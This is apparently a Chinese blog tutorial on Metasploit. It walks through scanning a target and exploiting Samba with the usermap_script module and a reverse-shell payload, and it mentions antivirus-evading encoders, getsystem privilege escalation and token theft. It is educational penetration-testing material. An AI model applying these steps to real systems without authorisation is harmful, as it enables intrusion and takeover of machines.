Metaspolit工具详解

MSF简介:

MSF(Metaspolit Framework)是一个开源工具,由Ruby语言编写的模板化框架,具有很好的扩展性.

在这里示例以kali操作系统为基础

kali上启动命令:

systemctl start postgresql(开启数据库服务)

msfconsole(启动msf服务)

MSF基础

MSF由多个模块组成:

1. Auxiliaries:辅助模块
2. Exploit:漏洞利用模块
3. Payload:攻击载荷模块
4. Post:后期渗透模块
5. Encoders:编码工具模块

渗透步骤

在使用msf渗透测试时,可以综合使用上述模块,对目标系统进行侦查并发动攻击,大致步骤如下:

扫描目标系统,寻找可利用的漏洞

选择并配置一个漏洞利用模块

选择并配置一个攻击载荷模块

选择一个编码技术,用来绕过杀毒软件的查杀

渗透攻击

主机扫描

扫描和收集信息是渗透测试中的第一步,主要目标就是尽可能多地发现有关目标机器的信息,该步骤主要关注点是目标机器的IP地址,可用服务,开放端口等

举例：

使用辅助模块进行端口扫描

首先利用search命令搜索portscan有哪些可用的端口扫描模块

然后使用use命令利用该漏洞模块

使用show options 命令查看需要设置的参数

使用辅助的模块进行服务扫描

扫描目标机器上运行的服务时,有多种基于服务的扫描技术可以选择,例如SMB,FTP等,只需执行特定类型的扫描就可以发现服务,通过search命令搜索scanner可以发现大量的扫描模块

使用Nmap扫描

在Metasploit中同样可以使用Nmap扫描,使用方法和独立使用Nmap工具一样.这里不做赘述,这里扫描的机器为linux

漏洞利用

收集到目标系统的相关信息后,可以对症下药的为其选择Exploit和Payload,从扫描结果来看,主机运行这Samba3.x服务,可以使用search samba来搜索samba可以利用的漏洞模块

搜索结果会按照漏洞模块被利用成功的相对难易度进行Rank排序,一般的话选择Excellent:即杰出而且时间最新的,其他的可以具体情况结合Description来选择不同的漏洞利用模块

这里我们选择 exploit/multi/samba/usermap_script    进行渗透测试

use  exploit/multi/samba/usermap_script     利用该模块

show options 查看模块的需要设置参数信息

info  exploit/multi/samba/usermap_script 查看模块的详细信息

show payloads 查看模块可以利用的payload

这里我们选择cmd/unix/reverse反向攻击载荷模块利用

然后我们设置基本的参数:被攻击主机IP(RHOST),漏洞利用的端口号(RPORT),发动攻击主机IP(LHOST)

然后就可以输入run或者exploit开始攻击了

后渗透攻击：信息收集

后渗透信息收集利用阶段是Metasploit最精彩的阶段。Metasploit有如下优势：

1.纯内存工作模式，不需要对磁盘进行任何写入操作

2.使用加密通信协议，而且可以同时与几个信道通信

3.在被攻击进程内，不需要创建新的进程

4.易于在多进程之间迁移

5.平台通用，适用于windows，linux，bsd系统，并支持intel x86和intel x64平台

接下来介绍的是我们拿到shell之后可以做的那些事儿：

1.进程迁移：当拿到shell之后第一件是先whoami看下自身权限，如果是系统权限，那么我们就可以开始为所欲为了，如果是普通用户，我们就得考虑提升权限了。提权的话又分为两个，一个是纵向提权（向上提权），一个是横向提权（获取同级别的角色权限）

2.收集系统信息：内网经验浅谈

3.权限提升：

提权的方式：

输入系统命令：getsystem

利用系统漏洞提权：

类似于windows溢出提权，linux脏牛漏洞，内核提权等

4.令牌窃取

5.hash攻击

以上的后渗透攻击我会单独去每一个写出实验文章。今天就到这里啦